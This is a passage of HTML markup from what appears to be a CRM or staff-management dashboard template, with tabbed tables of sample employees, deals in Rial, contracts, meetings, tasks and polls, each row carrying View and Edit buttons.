</td>
<td class="text-center"><span class="status-icon bg-danger"></span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/employee-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center"><NAME></td>
<td class="text-center">Male</td>
<td class="text-center">Quality Supervisor</td>
<td class="text-center">TQM</td>
<td class="text-center"><NAME></td>
<td class="text-center">99458562</td>
<td class="text-center">09121245698</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-75 font-weight-bold ">75%
</div>
</div>
</td>
<td class="text-center"><span class="status-icon bg-danger"></span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/employee-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center"><NAME></td>
<td class="text-center">Female</td>
<td class="text-center">Quality Supervisor</td>
<td class="text-center">TQM</td>
<td class="text-center">Shariati</td>
<td class="text-center">45988542</td>
<td class="text-center">09144555652</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-danger w-15 font-weight-bold ">15%
</div>
</div>
</td>
<td class="text-center"><span class="status-icon bg-success"></span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/employee-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="tab-pane " id="tab222">
<div class="table-responsive ">
<table id="example-5" class="table table-striped table-bordered">
<thead class="bg-primary">
<tr>
<th class="border-bottom-0 text-center">Create Date</th>
<th class="border-bottom-0 text-center">Title</th>
<th class="border-bottom-0 text-center">Customer</th>
<th class="border-bottom-0 text-center">Tag</th>
<th class="border-bottom-0 text-center">Value</th>
<th class="border-bottom-0 text-center">Source</th>
<th class="border-bottom-0 text-center">Responsibile</th>
<th class="border-bottom-0 text-center">Probability</th>
<th class="border-bottom-0 text-center">Status</th>
<th class="border-bottom-0 text-center"></th>
</tr>
</thead>
<tbody>
<tr>
<td class="text-center">12/2/97</td>
<td class="text-center">Something</td>
<td class="text-center">Mohsen Heshmati</td>
<td class="text-center">Something</td>
<td class="text-center">12,000,000 Rial</td>
<td class="text-center">Website</td>
<td class="text-center"><NAME></td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-red w-10">10%</div>
</div>
</td>
<td class="text-center">Contracted</td>
<td class="text-center">
<a href="/deal-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="btn btn-primary btn-sm mr-3 text-white"
data-toggle="modal" data-target="#exampleModal3-2"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">12/2/97</td>
<td class="text-center">Something</td>
<td class="text-center">Mohsen Heshmati</td>
<td class="text-center">Something</td>
<td class="text-center">12,000,000 Rial</td>
<td class="text-center">Website</td>
<td class="text-center"><NAME></td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-warning w-35">35%</div>
</div>
</td>
<td class="text-center">New</td>
<td class="text-center">
<a href="/deal-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="btn btn-primary btn-sm mr-3 text-white"
data-toggle="modal" data-target="#exampleModal3-2"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">12/2/97</td>
<td class="text-center">Something</td>
<td class="text-center"><NAME></td>
<td class="text-center">Something</td>
<td class="text-center">12,000,000 Rial</td>
<td class="text-center">Website</td>
<td class="text-center"><NAME></td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-100">100%</div>
</div>
</td>
<td class="text-center">Success</td>
<td class="text-center">
<a href="/deal-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="btn btn-primary btn-sm mr-3 text-white"
data-toggle="modal" data-target="#exampleModal3-2"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">12/2/97</td>
<td class="text-center">Something</td>
<td class="text-center">Mohsen Heshmati</td>
<td class="text-center">Something</td>
<td class="text-center">12,000,000 Rial</td>
<td class="text-center">Website</td>
<td class="text-center"><NAME></td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-warning w-50">50%</div>
</div>
</td>
<td class="text-center">New</td>
<td class="text-center">
<a href="/deal-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="btn btn-primary btn-sm mr-3 text-white"
data-toggle="modal" data-target="#exampleModal3-2"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">12/2/97</td>
<td class="text-center">Something</td>
<td class="text-center">Mohsen Heshmati</td>
<td class="text-center">Something</td>
<td class="text-center">12,000,000 Rial</td>
<td class="text-center">Website</td>
<td class="text-center"><NAME></td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-red w-30">30%</div>
</div>
</td>
<td class="text-center">Meeting scheduled</td>
<td class="text-center">
<a href="/deal-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="btn btn-primary btn-sm mr-3 text-white"
data-toggle="modal" data-target="#exampleModal3-2"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">12/2/97</td>
<td class="text-center">Something</td>
<td class="text-center">Mohsen Heshmati</td>
<td class="text-center">Something</td>
<td class="text-center">12,000,000 Rial</td>
<td class="text-center">Website</td>
<td class="text-center"><NAME></td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-red w-0">0%</div>
</div>
</td>
<td class="text-center">Failed</td>
<td class="text-center">
<a href="/deal-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="btn btn-primary btn-sm mr-3 text-white"
data-toggle="modal" data-target="#exampleModal3-2"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">12/2/97</td>
<td class="text-center">Marriage ceremony</td>
<td class="text-center">Mohsen Heshmati</td>
<td class="text-center">Marriage ceremony</td>
<td class="text-center">12,000,000 Rial</td>
<td class="text-center">Website</td>
<td class="text-center"><NAME></td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-85">85%</div>
</div>
</td>
<td class="text-center">New</td>
<td class="text-center">
<a href="/deal-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="btn btn-primary btn-sm mr-3 text-white"
data-toggle="modal" data-target="#exampleModal3-2"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="tab-pane " id="tab333">
<div class="table-responsive ">
<table id="example-2" class="table table-striped table-bordered nowrap">
<thead>
<tr>
<th class="wd-15p border-bottom-0 text-center bg-primary">Title</th>
<th class="wd-20p border-bottom-0 text-center bg-primary">Creator</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Create Date</th>
<th class="wd-15p border-bottom-0 text-center bg-primary">Owner</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Tag</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Hold Date</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Value</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Project serial</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Branch</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Action</th>
</tr>
</thead>
<tbody>
<tr>
<td class="text-center">Something</td>
<td class="text-center"> AhmadAzimi</td>
<td class="text-center">2/2/91</td>
<td class="text-center"><NAME></td>
<td class="text-center"><span class="tag">Something</span></td>
<td class="text-center">2/3/93</td>
<td class="text-center">5,000,000 T</td>
<td class="text-center">65165</td>
<td class="text-center">Teh, Enqelab Square</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/contract-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Something</td>
<td class="text-center"><NAME></td>
<td class="text-center">2/6/91</td>
<td class="text-center"><NAME></td>
<td class="text-center"><span class="tag">Something</span></td>
<td class="text-center">2/5/97</td>
<td class="text-center">15,000,000 T</td>
<td class="text-center">98798</td>
<td class="text-center">Teh, Shariati</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/contract-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Something</td>
<td class="text-center">Mahsa Karimi</td>
<td class="text-center">2/2/97</td>
<td class="text-center">Saba Noori</td>
<td class="text-center"><span class="tag">Something</span></td>
<td class="text-center">21/3/98</td>
<td class="text-center">15,000,000 T</td>
<td class="text-center">32132</td>
<td class="text-center">Turkey , Istanbul</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/contract-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Something</td>
<td class="text-center">Fatemeh Esfandiar</td>
<td class="text-center">4/8/97</td>
<td class="text-center">Reza Shiri</td>
<td class="text-center"><span class="tag">Something</span></td>
<td class="text-center">5/5/98</td>
<td class="text-center">11,000,000 T</td>
<td class="text-center">11591</td>
<td class="text-center">Teh, Enqelab Square</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/contract-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Something</td>
<td class="text-center"><NAME></td>
<td class="text-center">5/8/96</td>
<td class="text-center"><NAME></td>
<td class="text-center"><span class="tag">Something</span></td>
<td class="text-center">6/5/97</td>
<td class="text-center">41,000,000 T</td>
<td class="text-center">25682</td>
<td class="text-center">Qom</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/contract-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="tab-pane " id="tab444">
<div class="table-responsive ">
<table id="example-3" class="table table-striped table-bordered">
<thead>
<tr>
<th class="wd-15p border-bottom-0 text-center bg-primary">Title</th>
<th class="wd-15p border-bottom-0 text-center bg-primary">Type</th>
<th class="wd-10p border-bottom-0 text-center bg-primary">Date</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">From time</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Duration Time</th>
<th class="wd-15p border-bottom-0 text-center bg-primary">Meeting Leader</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Place</th>
<th class="border-bottom-0 text-center bg-primary">Status</th>
<th class=" bg-primary">Actions</th>
</tr>
</thead>
<tbody>
<tr class="text-center">
<td>Mr. Azimi's Deal</td>
<td>Client ordering advice</td>
<td>2/3/93</td>
<td>13:00</td>
<td>2 Hours</td>
<td>Mr. Azimi</td>
<td>Tehran, Enqelab Square</td>
<td>Not Planned</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/meeting-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#exampleModal3-2" class="btn btn-primary btn-sm text-white"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>Mr. Ahmadi's Deal</td>
<td>Client ordering advice</td>
<td>6/4/97</td>
<td>15:00</td>
<td>1 Hours</td>
<td>Mr. Azimi</td>
<td>Tehran, Enqelab Square</td>
<td>Planned</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/meeting-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#exampleModal3-2"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>Mr. Azimi's Deal</td>
<td>Client ordering advice</td>
<td>2/3/93</td>
<td>13:00</td>
<td>2 Hours</td>
<td>Mr. Azimi</td>
<td>Tehran, Enqelab Square</td>
<td>Not Planned</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/meeting-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#exampleModal3-2"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>Mr. Ahmadi's Deal</td>
<td>Client ordering advice</td>
<td>6/4/97</td>
<td>15:00</td>
<td>1 Hours</td>
<td>Mr. Azimi</td>
<td>Tehran, Enqelab Square</td>
<td>Planned</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/meeting-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#exampleModal3-2"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>Mr. Azimi's Deal</td>
<td>Client ordering advice</td>
<td>2/3/93</td>
<td>13:00</td>
<td>2 Hours</td>
<td>Mr. Azimi</td>
<td>Tehran, Enqelab Square</td>
<td>Not Planned</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/meeting-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#exampleModal3-2"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>Mr. Ahmadi's Deal</td>
<td>Client ordering advice</td>
<td>6/4/97</td>
<td>15:00</td>
<td>1 Hours</td>
<td>Mr. Azimi</td>
<td>Tehran, Enqelab Square</td>
<td>Planned</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/meeting-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#exampleModal3-2"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>Mr. Azimi's Deal</td>
<td>Client ordering advice</td>
<td>2/3/93</td>
<td>13:00</td>
<td>2 Hours</td>
<td>Mr. Azimi</td>
<td>Tehran, Enqelab Square</td>
<td>Not Planned</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/meeting-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#exampleModal3-2"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>Mr. Ahmadi's Deal</td>
<td>Client ordering advice</td>
<td>6/4/97</td>
<td>15:00</td>
<td>1 Hours</td>
<td>Mr. Azimi</td>
<td>Tehran, Enqelab Square</td>
<td>Planned</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/meeting-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#exampleModal3-2"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="tab-pane " id="tab555">
<div class="table-responsive ">
<table id="example-2" class="table table-striped table-bordered nowrap">
<thead class="bg-primary">
<tr>
<th class="wd-15p border-bottom-0 text-center">Title</th>
<th class="wd-15p border-bottom-0 text-center">Type</th>
<th class="wd-10p border-bottom-0 text-center">Requester</th>
<th class="wd-15p border-bottom-0 text-center">Owner</th>
<th class="wd-20p border-bottom-0 text-center">From Date</th>
<th class="wd-25p border-bottom-0 text-center">Deadline</th>
<th class="wd-25p border-bottom-0 text-center">Estimation Time</th>
<th class="wd-25p border-bottom-0 text-center">Priority</th>
<th class="wd-25p border-bottom-0 text-center">Progress</th>
<th class="wd-25p border-bottom-0 text-center">Status</th>
<th class="wd-25p border-bottom-0 text-center">Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td class="text-center">Sending attachments</td>
<td class="text-center">Solo</td>
<td class="text-center">Mehdi Yegane</td>
<td class="text-center">Nikoo Gharib</td>
<td class="text-center">12 December 2019</td>
<td class="text-center">04 February 2020</td>
<td class="text-center">8h 45m</td>
<td class="text-center"><span class="badge badge-warning">Medium</span></td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-info w-0 font-weight-bold ">0%
</div>
</div>
</td>
<td class="text-center">Not Planned</td>
<td class="text-center">
<a class="icon" href="javascriptvoid(0)"></a>
<a href="/task-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascriptvoid(0)"></a>
<a href="javascriptvoid(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Training Meeting</td>
<td class="text-center">Meeting</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">12 December 2019</td>
<td class="text-center">04 February 2020</td>
<td class="text-center">4h</td>
<td class="text-center"><span class="badge badge-success">Low</span></td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-info w-5 font-weight-bold ">5%
</div>
</div>
</td>
<td class="text-center">Accepted</td>
<td class="text-center">
<a class="icon" href="javascriptvoid(0)"></a>
<a href="/task-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascriptvoid(0)"></a>
<a href="javascriptvoid(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Coordination Meeting</td>
<td class="text-center">Meeting</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">12 December 2019</td>
<td class="text-center">04 February 2020</td>
<td class="text-center">16h 30m</td>
<td class="text-center">
<span class="badge badge-danger">High</span>
</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-info w-45 font-weight-bold ">45%
</div>
</div>
</td>
<td class="text-center">Rejected</td>
<td class="text-center">
<a class="icon" href="javascriptvoid(0)"></a>
<a href="/task-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascriptvoid(0)"></a>
<a href="javascriptvoid(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Video Editing</td>
<td class="text-center">Edit</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">12 December 2019</td>
<td class="text-center">04 February 2020</td>
<td class="text-center">7h 15m</td>
<td class="text-center"><span class="badge badge-warning">Medium</span></td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-info w-100 font-weight-bold ">100%
</div>
</div>
</td>
<td class="text-center">Finished</td>
<td class="text-center">
<a class="icon" href="javascriptvoid(0)"></a>
<a href="/task-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascriptvoid(0)"></a>
<a href="javascriptvoid(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Birthday filming</td>
<td class="text-center">filming</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">12 December 2019</td>
<td class="text-center">04 February 2020</td>
<td class="text-center">10h</td>
<td class="text-center"><span class="badge badge-danger">High</span></td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-info w-25 font-weight-bold ">25%
</div>
</div>
</td>
<td class="text-center">Paused</td>
<td class="text-center">
<a class="icon" href="javascriptvoid(0)"></a>
<a href="/task-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascriptvoid(0)"></a>
<a href="javascriptvoid(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="tab-pane " id="tab666">
<div class="table-responsive ">
<table id="example-2" class="table table-striped table-bordered nowrap">
<thead class="bg-primary">
<tr>
<th class="wd-15p border-bottom-0 text-center">Topic</th>
<th class="wd-15p border-bottom-0 text-center">Creator</th>
<th class="wd-10p border-bottom-0 text-center">Organization Affairs</th>
<th class="wd-10p border-bottom-0 text-center">Due Date</th>
<th class="wd-15p border-bottom-0 text-center">Num Of Participants</th>
<th class="wd-15p border-bottom-0 text-center">Progress</th>
<th class="wd-15p border-bottom-0 text-center">Status</th>
<th class="border-bottom-0 text-center">Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td class="text-center">Topic 1</td>
<td class="text-center"><NAME></td>
<td class="text-center">Project 1</td>
<td class="text-center">5 Feb 2018</td>
<td class="text-center">12</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar w-0 font-weight-bold ">0%
</div>
</div>
</td>
<td class="text-center">Plan</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/poll-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#add-modal"
class="btn btn-primary btn-sm text-white"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Topic 2</td>
<td class="text-center"><NAME></td>
<td class="text-center">Project 2</td>
<td class="text-center">5 Feb 2018</td>
<td class="text-center">5</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar w-0 font-weight-bold ">0%
</div>
</div>
</td>
<td class="text-center">Scheduled</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/poll-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#add-modal"
class="btn btn-primary btn-sm text-white"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Topic 3</td>
<td class="text-center"><NAME></td>
<td class="text-center">Project 3</td>
<td class="text-center">5 Feb 2018</td>
<td class="text-center">9</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-90 font-weight-bold ">90%
</div>
</div>
</td>
<td class="text-center">Doing</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/poll-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#add-modal"
class="btn btn-primary btn-sm text-white"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Topic 4</td>
<td class="text-center"><NAME></td>
<td class="text-center">Project 4</td>
<td class="text-center">5 Feb 2018</td>
<td class="text-center">11</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-100 font-weight-bold ">100%
</div>
</div>
</td>
<td class="text-center">Finished</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/poll-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#add-modal"
class="btn btn-primary btn-sm text-white"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Topic 5</td>
<td class="text-center"><NAME></td>
<td class="text-center">Project 5</td>
<td class="text-center">5 Feb 2018</td>
<td class="text-center">22</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-warning w-60 font-weight-bold ">60%
</div>
</div>
</td>
<td class="text-center">Doing</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/poll-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#add-modal"
class="btn btn-primary btn-sm text-white"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Topic 6</td>
<td class="text-center"><NAME></td>
<td class="text-center">Project 6</td>
<td class="text-center">5 Feb 2018</td>
<td class="text-center">8</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-100 font-weight-bold ">100%
</div>
</div>
</td>
<td class="text-center">Finished</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/poll-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#add-modal"
class="btn btn-primary btn-sm text-white"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Topic 7</td>
<td class="text-center"><NAME></td>
<td class="text-center">Project 7</td>
<td class="text-center">5 Feb 2018</td>
<td class="text-center">8</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-red w-30 font-weight-bold ">30%
</div>
</div>
</td>
<td class="text-center">Doing</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/poll-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#add-modal"
class="btn btn-primary btn-sm text-white"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="tab-pane " id="tab777">
<div class="table-responsive ">
<table id="example-7" class="table table-striped table-bordered">
<thead class="bg-primary">
<tr>
<th class="wd-15p border-bottom-0 text-center">Title</th>
<th class="wd-15p border-bottom-0 text-center">Type</th>
<th class="wd-10p border-bottom-0 text-center">Date</th>
<th class="wd-25p border-bottom-0 text-center">From time</th>
<th class="wd-25p border-bottom-0 text-center">Duration Time</th>
<th class="wd-15p border-bottom-0 text-center">Meeting Leader</th>
<th class="wd-25p border-bottom-0 text-center">Place</th>
<th class="border-bottom-0 text-center">Status</th>
<th class="border-bottom-0 text-center">Actions</th>
</tr>
</thead>
<tbody>
<tr class="text-center">
<td>Mr. Azimi's Deal</td>
<td>Client ordering advice</td>
<td>2/3/93</td>
<td>13:00</td>
<td>2 Hours</td>
<td>Mr. Azimi</td>
<td>Tehran, Enqelab Square</td>
<td>Not Planned</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/meeting-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#exampleModal3-2" class="btn btn-primary btn-sm text-white"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>Mr. Ahmadi's Deal</td>
<td>Client ordering advice</td>
<td>6/4/97</td>
<td>15:00</td>
<td>1 Hours</td>
<td>Mr. Azimi</td>
<td>Tehran, Enqelab Square</td>
<td>Planned</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/meeting-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#exampleModal3-2"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>Mr. Azimi's Deal</td>
<td>Client ordering advice</td>
<td>2/3/93</td>
<td>13:00</td>
<td>2 Hours</td>
<td>Mr. Azimi</td>
<td>Tehran, Enqelab Square</td>
<td>Not Planned</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/meeting-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#exampleModal3-2"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
